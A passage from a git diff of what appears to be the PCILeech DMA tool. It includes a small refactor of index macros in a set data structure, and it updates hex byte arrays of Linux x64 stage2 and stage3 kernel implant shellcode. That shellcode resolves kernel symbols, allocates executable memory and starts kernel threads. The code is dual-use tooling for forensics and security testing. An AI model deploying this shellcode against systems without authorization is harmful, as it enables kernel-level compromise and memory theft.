1] = _ObSet_GetValueFromIndex(pvs, iValue); } @@ -403,11 +435,11 @@ BOOL _ObSet_Push(_In_ POB_SET pvs, _In_ QWORD value) { POB_SET_TABLE_ENTRY pTable = NULL; DWORD iValue = pvs->c; - WORD iDirectory = (iValue >> 14) & (OB_SET_ENTRIES_DIRECTORY - 1); - WORD iTable = (iValue >> 9) & (OB_SET_ENTRIES_TABLE - 1); - WORD iValueStore = iValue & (OB_SET_ENTRIES_STORE - 1); + WORD iDirectory = OB_SET_INDEX_DIRECTORY(iValue); + WORD iTable = OB_SET_INDEX_TABLE(iValue); + WORD iValueStore = OB_SET_INDEX_STORE(iValue); if((value == 0) || _ObSet_Exists(pvs, value)) { return FALSE; } - if(iValue == OB_SET_ENTRIES_DIRECTORY * OB_SET_ENTRIES_TABLE * OB_SET_ENTRIES_STORE) { return FALSE; } + if(iValue == OB_SET_TABLE_MAX_CAPACITY) { return FALSE; } if(iValue == pvs->cHashGrowThreshold) { if(!_ObSet_Grow(pvs)) { return FALSE; diff --git a/pcileech/shellcode.h b/pcileech/shellcode.h index 3151268..952d2a4 100644 --- a/pcileech/shellcode.h +++ b/pcileech/shellcode.h @@ -432,46 +432,48 @@ const BYTE LINUX_X64_STAGE2_BIN[] = { 0x41, 0x57, 0x4c, 0x8b, 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20, 0x4c, 0x8d, 0x35, 0x9c, 0xff, 0xff, 0xff, 0x8b, 0x05, 0xa6, 0xff, 0xff, 0xff, 0x4c, 0x03, 0xf0, 0xe8, 0x18, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xe7, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x58, 0x0f, 0x22, - 0xc0, 0x41, 0x59, 0x41, 0x58, 0x59, 0x5a, 0x5e, 0x5f, 0xc3, 0x48, 0x8d, 0x3d, 0x07, 0x02, 0x00, - 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x75, 0x13, 0x48, 0x8d, 0x3d, 0x0c, 0x02, 0x00, 0x00, - 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x0f, 0x01, 0x00, 0x00, 0x48, 0xc7, 0xc7, 0x14, + 0xc0, 0x41, 0x59, 0x41, 0x58, 0x59, 0x5a, 0x5e, 0x5f, 0xc3, 0x48, 0x8d, 0x3d, 0x16, 0x02, 0x00, + 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x75, 0x13, 0x48, 0x8d, 0x3d, 0x1b, 0x02, 0x00, 0x00, + 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x1e, 0x01, 0x00, 0x00, 0x48, 0xc7, 0xc7, 0x14, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x02, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x85, 0xc0, 0x0f, - 0x84, 0xf6, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xf8, 0xe8, 0x4d, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0xe8, - 0x49, 0x8b, 0xfd, 0xe8, 0x19, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0xe0, 0x48, 0x8d, 0x05, 0x1e, 0xff, - 0xff, 0xff, 0x48, 0x8d, 0x3d, 0xcf, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x0f, - 0x84, 0xc6, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xfc, 0x48, 0xc7, 0xc6, 0x02, 0x00, 0x00, 0x00, 0xff, - 0xd0, 0x49, 0x8b, 0xfc, 0xe8, 0x27, 0x01, 0x00, 0x00, 0x48, 0xc7, 0xc7, 0x40, 0x00, 0x00, 0x00, - 0x48, 0x83, 0xef, 0x08, 0x48, 0x8d, 0x05, 0x22, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x04, 0x38, 0x49, - 0x8b, 0xf4, 0x48, 0x81, 0xc6, 0x00, 0x10, 0x00, 0x00, 0x48, 0x03, 0xf7, 0x48, 0x89, 0x06, 0x48, - 0x85, 0xff, 0x75, 0xdc, 0x48, 0x8d, 0x3d, 0x46, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, - 0xc0, 0x74, 0x24, 0x49, 0x8b, 0xfc, 0x48, 0x81, 0xc7, 0x00, 0x10, 0x00, 0x00, 0x48, 0x33, 0xf6, - 0x48, 0x33, 0xd2, 0x48, 0x83, 0xea, 0x01, 0x48, 0x8d, 0x0d, 0x95, 0x01, 0x00, 0x00, 0xff, 0xd0, - 0x48, 0x85, 0xc0, 0x74, 0x02, 0xeb, 0x2a, 0x48, 0x8d, 0x3d, 0x04, 0x01, 0x00, 0x00, 0x41, 0xff, - 0xd6, 0x48, 0x85, 0xc0, 0x74, 0x45, 0x49, 0x8b, 0xfc, 0x48, 0x81, 0xc7, 0x00, 0x10, 0x00, 0x00, - 0x48, 0x33, 0xf6, 0x48, 0x8d, 0x15, 0x69, 0x01, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x85, 0xc0, 0x74, - 0x2a, 0x49, 0x89, 0x44, 0x24, 0x58, 0x4d, 0x89, 0x74, 0x24, 0x10, 0x48, 0x8d, 0x3d, 0x23, 0x01, - 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x74, 0x11, 0x49, 0x8b, 0x7c, 0x24, 0x58, 0xff, - 0xd0, 0x48, 0x85, 0xc0, 0x74, 0x05, 0x41, 0x8b, 0xc5, 0xeb, 0x05, 0xb8, 0xff, 0xff, 0xff, 0xff, - 0x0f, 0x20, 0xc1, 0x81, 0xe1, 0xff, 0xff, 0xfe, 0xff, 0x0f, 0x22, 0xc1, 0x89, 0x05, 0x32, 0xfe, - 0xff, 0xff, 0xc3, 0x48, 0x8d, 0x3d, 0xfb, 0x00, 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, - 0x74, 0x04, 0x48, 0x8b, 0x00, 0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xff, 0xff, - 0xc3, 0x57, 0xe8, 0xdc, 0xff, 0xff, 0xff, 0x5f, 0x48, 0x03, 0xc7, 0xc3, 0x48, 0x8d, 0x3d, 0xe3, - 0x00, 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x74, 0x04, 0x48, 0x8b, 0x00, 0xc3, 0x48, - 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0xff, 0xff, 0xc3, 0x57, 0xe8, 0xdc, 0xff, 0xff, 0xff, - 0x5f, 0x48, 0x2b, 0xf8, 0x48, 0xc1, 0xef, 0x07, 0x48, 0xc1, 0xe7, 0x0c, 0x48, 0x8b, 0xc7, 0xc3, - 0x48, 0x33, 0xc0, 0xb9, 0x00, 0x04, 0x00, 0x00, 0xfc, 0xf3, 0x48, 0xab, 0xc3, 0xeb, 0x07, 0x6d, - 0x73, 0x6c, 0x65, 0x65, 0x70, 0x00, 0x48, 0x8d, 0x3d, 0xf2, 0xff, 0xff, 0xff, 0x48, 0x8d, 0x05, - 0xf9, 0xef, 0xff, 0xff, 0x48, 0x8b, 0x00, 0xff, 0xd0, 0x48, 0xc7, 0xc7, 0x64, 0x00, 0x00, 0x00, - 0xff, 0xd0, 0x48, 0x8d, 0x05, 0xcc, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x00, 0x48, 0x83, 0xf8, 0x00, - 0x74, 0xd4, 0x6b, 0x74, 0x68, 0x72, 0x65, 0x61, 0x64, 0x5f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, - 0x00, 0x6b, 0x74, 0x68, 0x72, 0x65, 0x61, 0x64, 0x5f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x5f, - 0x6f, 0x6e, 0x5f, 0x6e, 0x6f, 0x64, 0x65, 0x00, 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x5f, 0x70, 0x61, - 0x67, 0x65, 0x73, 0x5f, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x00, 0x61, 0x6c, 0x6c, 0x6f, - 0x63, 0x5f, 0x70, 0x61, 0x67, 0x65, 0x73, 0x00, 0x73, 0x65, 0x74, 0x5f, 0x6d, 0x65, 0x6d, 0x6f, - 0x72, 0x79, 0x5f, 0x78, 0x00, 0x77, 0x61, 0x6b, 0x65, 0x5f, 0x75, 0x70, 0x5f, 0x70, 0x72, 0x6f, - 0x63, 0x65, 0x73, 0x73, 0x00, 0x70, 0x61, 0x67, 0x65, 0x5f, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, - 0x5f, 0x62, 0x61, 0x73, 0x65, 0x00, 0x76, 0x6d, 0x65, 0x6d, 0x6d, 0x61, 0x70, 0x5f, 0x62, 0x61, - 0x73, 0x65, 0x00, 0x70, 0x63, 0x69, 0x6c, 0x65, 0x65, 0x63, 0x68, 0x00 + 0x84, 0x05, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xf8, 0xe8, 0x5c, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0xe8, + 0x49, 0x8b, 0xfd, 0xe8, 0x28, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0xe0, 0x49, 0x8b, 0xfc, 0xe8, 0x5c, + 0x01, 0x00, 0x00, 0x48, 0xc7, 0xc7, 0x40, 0x00, 0x00, 0x00, 0x48, 0x83, 0xef, 0x08, 0x48, 0x8d, + 0x05, 0x57, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x04, 0x38, 0x49, 0x8b, 0xf4, 0x48, 0x81, 0xc6, 0x00, + 0x10, 0x00, 0x00, 0x48, 0x03, 0xf7, 0x48, 0x89, 0x06, 0x48, 0x85, 0xff, 0x75, 0xdc, 0x48, 0x8d, + 0x3d, 0xb2, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x75, 0x13, 0x48, 0x8d, 0x3d, + 0xb2, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x9a, 0x00, 0x00, 0x00, + 0x49, 0x8b, 0xfc, 0x48, 0x81, 0xc7, 0x00, 0x10, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x01, 0x00, 0x00, + 0x00, 0xff, 0xd0, 0x48, 0x8d, 0x3d, 0x46, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, + 0x74, 0x24, 0x49, 0x8b, 0xfc, 0x48, 0x81, 0xc7, 0x00, 0x10, 0x00, 0x00, 0x48, 0x33, 0xf6, 0x48, + 0x33, 0xd2, 0x48, 0x83, 0xea, 0x01, 0x48, 0x8d, 0x0d, 0xa4, 0x01, 0x00, 0x00, 0xff, 0xd0, 0x48, + 0x85, 0xc0, 0x74, 0x02, 0xeb, 0x2a, 0x48, 0x8d, 0x3d, 0x04, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd6, + 0x48, 0x85, 0xc0, 0x74, 0x45, 0x49, 0x8b, 0xfc, 0x48, 0x81, 0xc7, 0x00, 0x10, 0x00, 0x00, 0x48, + 0x33, 0xf6, 0x48, 0x8d, 0x15, 0x78, 0x01, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x85, 0xc0, 0x74, 0x2a, + 0x49, 0x89, 0x44, 0x24, 0x58, 0x4d, 0x89, 0x74, 0x24, 0x10, 0x48, 0x8d, 0x3d, 0x32, 0x01, 0x00, + 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x74, 0x11, 0x49, 0x8b, 0x7c, 0x24, 0x58, 0xff, 0xd0, + 0x48, 0x85, 0xc0, 0x74, 0x05, 0x41, 0x8b, 0xc5, 0xeb, 0x05, 0xb8, 0xff, 0xff, 0xff, 0xff, 0x0f, + 0x20, 0xc1, 0x81, 0xe1, 0xff, 0xff, 0xfe, 0xff, 0x0f, 0x22, 0xc1, 0x89, 0x05, 0x23, 0xfe, 0xff, + 0xff, 0xc3, 0x48, 0x8d, 0x3d, 0x0a, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x74, + 0x04, 0x48, 0x8b, 0x00, 0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xff, 0xff, 0xc3, + 0x57, 0xe8, 0xdc, 0xff, 0xff, 0xff, 0x5f, 0x48, 0x03, 0xc7, 0xc3, 0x48, 0x8d, 0x3d, 0xf2, 0x00, + 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x74, 0x04, 0x48, 0x8b, 0x00, 0xc3, 0x48, 0xb8, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0xff, 0xff, 0xc3, 0x57, 0xe8, 0xdc, 0xff, 0xff, 0xff, 0x5f, + 0x48, 0x2b, 0xf8, 0x48, 0xc1, 0xef, 0x07, 0x48, 0xc1, 0xe7, 0x0c, 0x48, 0x8b, 0xc7, 0xc3, 0x48, + 0x33, 0xc0, 0xb9, 0x00, 0x04, 0x00, 0x00, 0xfc, 0xf3, 0x48, 0xab, 0xc3, 0xeb, 0x07, 0x6d, 0x73, + 0x6c, 0x65, 0x65, 0x70, 0x00, 0x48, 0x8d, 0x3d, 0xf2, 0xff, 0xff, 0xff, 0x48, 0x8d, 0x05, 0xf9, + 0xef, 0xff, 0xff, 0x48, 0x8b, 0x00, 0xff, 0xd0, 0x48, 0xc7, 0xc7, 0x64, 0x00, 0x00, 0x00, 0xff, + 0xd0, 0x48, 0x8d, 0x05, 0xcc, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x00, 0x48, 0x83, 0xf8, 0x00, 0x74, + 0xd4, 0x6b, 0x74, 0x68, 0x72, 0x65, 0x61, 0x64, 0x5f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x00, + 0x6b, 0x74, 0x68, 0x72, 0x65, 0x61, 0x64, 0x5f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x5f, 0x6f, + 0x6e, 0x5f, 0x6e, 0x6f, 0x64, 0x65, 0x00, 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x5f, 0x70, 0x61, 0x67, + 0x65, 0x73, 0x5f, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x00, 0x61, 0x6c, 0x6c, 0x6f, 0x63, + 0x5f, 0x70, 0x61, 0x67, 0x65, 0x73, 0x00, 0x73, 0x65, 0x74, 0x5f, 0x6d, 0x65, 0x6d, 0x6f, 0x72, + 0x79, 0x5f, 0x72, 0x6f, 0x78, 0x00, 0x73, 0x65, 0x74, 0x5f, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, + 0x5f, 0x78, 0x00, 0x77, 0x61, 0x6b, 0x65, 0x5f, 0x75, 0x70, 0x5f, 0x70, 0x72, 0x6f, 0x63, 0x65, + 0x73, 0x73, 0x00, 0x70, 0x61, 0x67, 0x65, 0x5f, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x5f, 0x62, + 0x61, 0x73, 0x65, 0x00, 0x76, 0x6d, 0x65, 0x6d, 0x6d, 0x61, 0x70, 0x5f, 0x62, 0x61, 0x73, 0x65, + 0x00, 0x70, 0x63, 0x69, 0x6c, 0x65, 0x65, 0x63, 0x68, 0x00 }; const BYTE LINUX_X64_STAGE3_BIN[] = { @@ -479,70 +481,74 @@ const BYTE LINUX_X64_STAGE3_BIN[] = { 0x48, 0x8d, 0x05, 0xf9, 0xef, 0xff, 0xff, 0x48, 0x8b, 0x00, 0xff, 0xd0, 0x48, 0xc7, 0xc7, 0x64, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x8d, 0x05, 0xcc, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x00, 0x48, 0x83, 0xf8, 0x00, 0x74, 0xd4, 0x48, 0x8d, 0x0d, 0xc4, 0xef, 0xff, 0xff, 0x41, 0x57, 0x4c, 0x8b, - 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20, 0xe8, 0x46, 0x04, 0x00, 0x00, 0x49, 0x8b, + 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20, 0xe8, 0x86, 0x04, 0x00, 0x00, 0x49, 0x8b, 0xe7, 0x41, 0x5f, 0xc3, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x4c, 0x8b, 0xf9, 0x4c, 0x8b, 0xf2, - 0x49, 0xc7, 0xc5, 0x70, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x05, 0x94, 0xff, 0xff, 0xff, 0x50, 0x48, - 0x8d, 0x05, 0xa0, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0xac, 0x00, 0x00, 0x00, 0x50, 0x48, - 0x8d, 0x05, 0xb1, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0xb6, 0x00, 0x00, 0x00, 0x50, 0x48, - 0x8d, 0x05, 0xb5, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0xb6, 0x00, 0x00, 0x00, 0x50, 0x48, - 0x8d, 0x05, 0xdc, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0xea, 0x00, 0x00, 0x00, 0x50, 0x48, - 0x8d, 0x05, 0xea, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0xfa, 0x00, 0x00, 0x00, 0x50, 0x48, - 0x8d, 0x05, 0xe2, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0xfe, 0x00, 0x00, 0x00, 0x50, 0x48, - 0x8d, 0x05, 0x07, 0x01, 0x00, 0x00, 0x50, 0x49, 0x83, 0xed, 0x08, 0x49, 0x8b, 0xcf, 0x5a, 0xe8, - 0x05, 0x01, 0x00, 0x00, 0x4b, 0x89, 0x04, 0x2e, 0x4d, 0x85, 0xed, 0x75, 0xea, 0x49, 0x8b, 0x46, - 0x48, 0x48, 0x85, 0xc0, 0x75, 0x08, 0x49, 0x8b, 0x46, 0x58, 0x49, 0x89, 0x46, 0x48, 0x49, 0x8b, - 0x46, 0x08, 0x48, 0x85, 0xc0, 0x75, 0x08, 0x49, 0x8b, 0x46, 0x68, 0x49, 0x89, 0x46, 0x08, 0x41, - 0x5d, 0x41, 0x5e, 0x41, 0x5f, 0xc3, 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x5f, 0x70, 0x61, 0x67, 0x65, - 0x73, 0x5f, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x00, 0x73, 0x65, 0x74, 0x5f, 0x6d, 0x65, - 0x6d, 0x6f, 0x72, 0x79, 0x5f, 0x78, 0x00, 0x5f, 0x5f, 0x66, 0x72, 0x65, 0x65, 0x5f, 0x70, 0x61, - 0x67, 0x65, 0x73, 0x00, 0x6d, 0x65, 0x6d, 0x63, 0x70, 0x79, 0x00, 0x73, 0x63, 0x68, 0x65, 0x64, - 0x75, 0x6c, 0x65, 0x00, 0x64, 0x6f, 0x5f, 0x67, 0x65, 0x74, 0x74, 0x69, 0x6d, 0x65, 0x6f, 0x66, - 0x64, 0x61, 0x79, 0x00, 0x70, 0x61, 0x67, 0x65, 0x5f, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x5f, - 0x62, 0x61, 0x73, 0x65, 0x00, 0x76, 0x6d, 0x65, 0x6d, 0x6d, 0x61, 0x70, 0x5f, 0x62, 0x61, 0x73, - 0x65, 0x00, 0x77, 0x61, 0x6c, 0x6b, 0x5f, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x5f, 0x72, 0x61, - 0x6d, 0x5f, 0x72, 0x61, 0x6e, 0x67, 0x65, 0x00, 0x69, 0x6f, 0x75, 0x6e, 0x6d, 0x61, 0x70, 0x00, - 0x69, 0x6f, 0x72, 0x65, 0x6d, 0x61, 0x70, 0x00, 0x69, 0x6f, 0x72, 0x65, 0x6d, 0x61, 0x70, 0x5f, - 0x6e, 0x6f, 0x63, 0x61, 0x63, 0x68, 0x65, 0x00, 0x6b, 0x74, 0x69, 0x6d, 0x65, 0x5f, 0x67, 0x65, - 0x74, 0x5f, 0x72, 0x65, 0x61, 0x6c, 0x5f, 0x74, 0x73, 0x36, 0x34, 0x00, 0x67, 0x65, 0x74, 0x6e, - 0x73, 0x74, 0x69, 0x6d, 0x65, 0x6f, 0x66, 0x64, 0x61, 0x79, 0x36, 0x34, 0x00, 0x61, 0x6c, 0x6c, - 0x6f, 0x63, 0x5f, 0x70, 0x61, 0x67, 0x65, 0x73, 0x00, 0x48, 0x8b, 0xc1, 0x57, 0x56, 0x48, 0x8b, - 0xfa, 0x49, 0x8b, 0xf0, 0x49, 0x8b, 0xd1, 0x48, 0x8b, 0x4c, 0x24, 0x38, 0x4c, 0x8b, 0x44, 0x24, - 0x40, 0x4c, 0x8b, 0x4c, 0x24, 0x48, 0x41, 0x57, 0x4c, 0x8b, 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0x48, - 0x83, 0xec, 0x20, 0xff, 0xd0, 0x49, 0x8b, 0xe7, 0x41, 0x5f, 0x5e, 0x5f, 0xc3, 0x48, 0x8b, 0xc7, - 0x48, 0x8d, 0x3d, 0x3d, 0xff, 0xff, 0xff, 0xff, 0xd0, 0x48, 0x85, 0xc0, 0x74, 0x04, 0x48, 0x8b, - 0x00, 0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xff, 0xff, 0xc3, 0x57, 0x56, 0x41, - 0x57, 0x48, 0x8b, 0xf9, 0x4c, 0x8b, 0xfa, 0xe8, 0xd1, 0xff, 0xff, 0xff, 0x49, 0x03, 0xc7, 0x41, - 0x5f, 0x5e, 0x5f, 0xc3, 0x48, 0x8b, 0xc7, 0x48, 0x8d, 0x3d, 0x17, 0xff, 0xff, 0xff, 0xff, 0xd0, - 0x48, 0x85, 0xc0, 0x74, 0x04, 0x48, 0x8b, 0x00, 0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xea, 0xff, 0xff, 0xc3, 0x57, 0x56, 0x52, 0x48, 0x8b, 0xf9, 0xe8, 0xd5, 0xff, 0xff, 0xff, 0x5a, - 0x48, 0x2b, 0xd0, 0x48, 0xc1, 0xea, 0x07, 0x48, 0xc1, 0xe2, 0x0c, 0x48, 0x8b, 0xc2, 0x5e, 0x5f, - 0xc3, 0x48, 0xc1, 0xe7, 0x0c, 0x48, 0xc1, 0xe6, 0x0c, 0x48, 0x8b, 0x42, 0x28, 0x48, 0x8b, 0x4a, - 0x48, 0x48, 0x03, 0xc1, 0x48, 0x89, 0x38, 0x48, 0x89, 0x70, 0x08, 0x48, 0x83, 0xc1, 0x10, 0x48, - 0x89, 0x4a, 0x48, 0x48, 0x33, 0xc0, 0xc3, 0x48, 0xc1, 0xe7, 0x0c, 0x48, 0xc1, 0xe6, 0x0c, 0x4c, - 0x8b, 0x42, 0x40, 0x4c, 0x8b, 0x4a, 0x48, 0x48, 0x03, 0xf7, 0x4d, 0x03, 0xc8, 0x4c, 0x3b, 0xc7, - 0x7c, 0x09, 0x4c, 0x3b, 0xce, 0x7f, 0x04, 0x48, 0x33, 0xc0, 0xc3, 0x48, 0x33, 0xc0, 0x48, 0xff, - 0xc0, 0xc3, 0x0f, 0x09, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, + 0x49, 0xc7, 0xc5, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x05, 0x94, 0xff, 0xff, 0xff, 0x50, 0x48, + 0x8d, 0x05, 0xb8, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0xef, 0x00, 0x00, 0x00, 0x50, 0x48, + 0x8d, 0x05, 0xf4, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0xf9, 0x00, 0x00, 0x00, 0x50, 0x48, + 0x8d, 0x05, 0xf8, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0xf9, 0x00, 0x00, 0x00, 0x50, 0x48, + 0x8d, 0x05, 0x1f, 0x01, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x2d, 0x01, 0x00, 0x00, 0x50, 0x48, + 0x8d, 0x05, 0x2d, 0x01, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x3d, 0x01, 0x00, 0x00, 0x50, 0x48, + 0x8d, 0x05, 0x25, 0x01, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x41, 0x01, 0x00, 0x00, 0x50, 0x48, + 0x8d, 0x05, 0x4a, 0x01, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x64, 0x00, 0x00, 0x00, 0x50, 0x48, + 0x8d, 0x05, 0x6a, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x71, 0x00, 0x00, 0x00, 0x50, 0x49, + 0x83, 0xed, 0x08, 0x49, 0x8b, 0xcf, 0x5a, 0xe8, 0x30, 0x01, 0x00, 0x00, 0x4b, 0x89, 0x04, 0x2e, + 0x4d, 0x85, 0xed, 0x75, 0xea, 0x49, 0x8b, 0x46, 0x48, 0x48, 0x85, 0xc0, 0x75, 0x08, 0x49, 0x8b, + 0x46, 0x58, 0x49, 0x89, 0x46, 0x48, 0x49, 0x8b, 0x46, 0x08, 0x48, 0x85, 0xc0, 0x75, 0x08, 0x49, + 0x8b, 0x46, 0x68, 0x49, 0x89, 0x46, 0x08, 0x41, 0x5d, 0x41, 0x5e, 0x41, 0x5f, 0xc3, 0x61, 0x6c, + 0x6c, 0x6f, 0x63, 0x5f, 0x70, 0x61, 0x67, 0x65, 0x73, 0x5f, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, + 0x74, 0x00, 0x73, 0x65, 0x74, 0x5f, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x5f, 0x6e, 0x78, 0x00, + 0x73, 0x65, 0x74, 0x5f, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x5f, 0x72, 0x6f, 0x78, 0x00, 0x73, + 0x65, 0x74, 0x5f, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x5f, 0x72, 0x77, 0x00, 0x73, 0x65, 0x74, + 0x5f, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x5f, 0x78, 0x00, 0x5f, 0x5f, 0x66, 0x72, 0x65, 0x65, + 0x5f, 0x70, 0x61, 0x67, 0x65, 0x73, 0x00, 0x6d, 0x65, 0x6d, 0x63, 0x70, 0x79, 0x00, 0x73, 0x63, + 0x68, 0x65, 0x64, 0x75, 0x6c, 0x65, 0x00, 0x64, 0x6f, 0x5f, 0x67, 0x65, 0x74, 0x74, 0x69, 0x6d, + 0x65, 0x6f, 0x66, 0x64, 0x61, 0x79, 0x00, 0x70, 0x61, 0x67, 0x65, 0x5f, 0x6f, 0x66, 0x66, 0x73, + 0x65, 0x74, 0x5f, 0x62, 0x61, 0x73, 0x65, 0x00, 0x76, 0x6d, 0x65, 0x6d, 0x6d, 0x61, 0x70, 0x5f, + 0x62, 0x61, 0x73, 0x65, 0x00, 0x77, 0x61, 0x6c, 0x6b, 0x5f, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, + 0x5f, 0x72, 0x61, 0x6d, 0x5f, 0x72, 0x61, 0x6e, 0x67, 0x65, 0x00, 0x69, 0x6f, 0x75, 0x6e, 0x6d, + 0x61, 0x70, 0x00, 0x69, 0x6f, 0x72, 0x65, 0x6d, 0x61, 0x70, 0x00, 0x69, 0x6f, 0x72, 0x65, 0x6d, + 0x61, 0x70, 0x5f, 0x6e, 0x6f, 0x63, 0x61, 0x63, 0x68, 0x65, 0x00, 0x6b, 0x74, 0x69, 0x6d, 0x65, + 0x5f, 0x67, 0x65, 0x74, 0x5f, 0x72, 0x65, 0x61, 0x6c, 0x5f, 0x74, 0x73, 0x36, 0x34, 0x00, 0x67, + 0x65, 0x74, 0x6e, 0x73, 0x74, 0x69, 0x6d, 0x65, 0x6f, 0x66, 0x64, 0x61, 0x79, 0x36, 0x34, 0x00, + 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x5f, 0x70, 0x61, 0x67, 0x65, 0x73, 0x00, 0x48, 0x8b, 0xc1, 0x57, + 0x56, 0x48, 0x8b, 0xfa, 0x49, 0x8b, 0xf0, 0x49, 0x8b, 0xd1, 0x48, 0x8b, 0x4c, 0x24, 0x38, 0x4c, + 0x8b, 0x44, 0x24, 0x40, 0x4c, 0x8b, 0x4c, 0x24, 0x48, 0x41, 0x57, 0x4c, 0x8b, 0xfc, 0x48, 0x83, + 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20, 0xff, 0xd0, 0x49, 0x8b, 0xe7, 0x41, 0x5f, 0x5e, 0x5f, 0xc3, + 0x48, 0x8b, 0xc7, 0x48, 0x8d, 0x3d, 0x3d, 0xff, 0xff, 0xff, 0xff, 0xd0, 0x48, 0x85, 0xc0, 0x74, + 0x04, 0x48, 0x8b, 0x00, 0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xff, 0xff, 0xc3, + 0x57, 0x56, 0x41, 0x57, 0x48, 0x8b, 0xf9, 0x4c, 0x8b, 0xfa, 0xe8, 0xd1, 0xff, 0xff, 0xff, 0x49, + 0x03, 0xc7, 0x41, 0x5f, 0x5e, 0x5f, 0xc3, 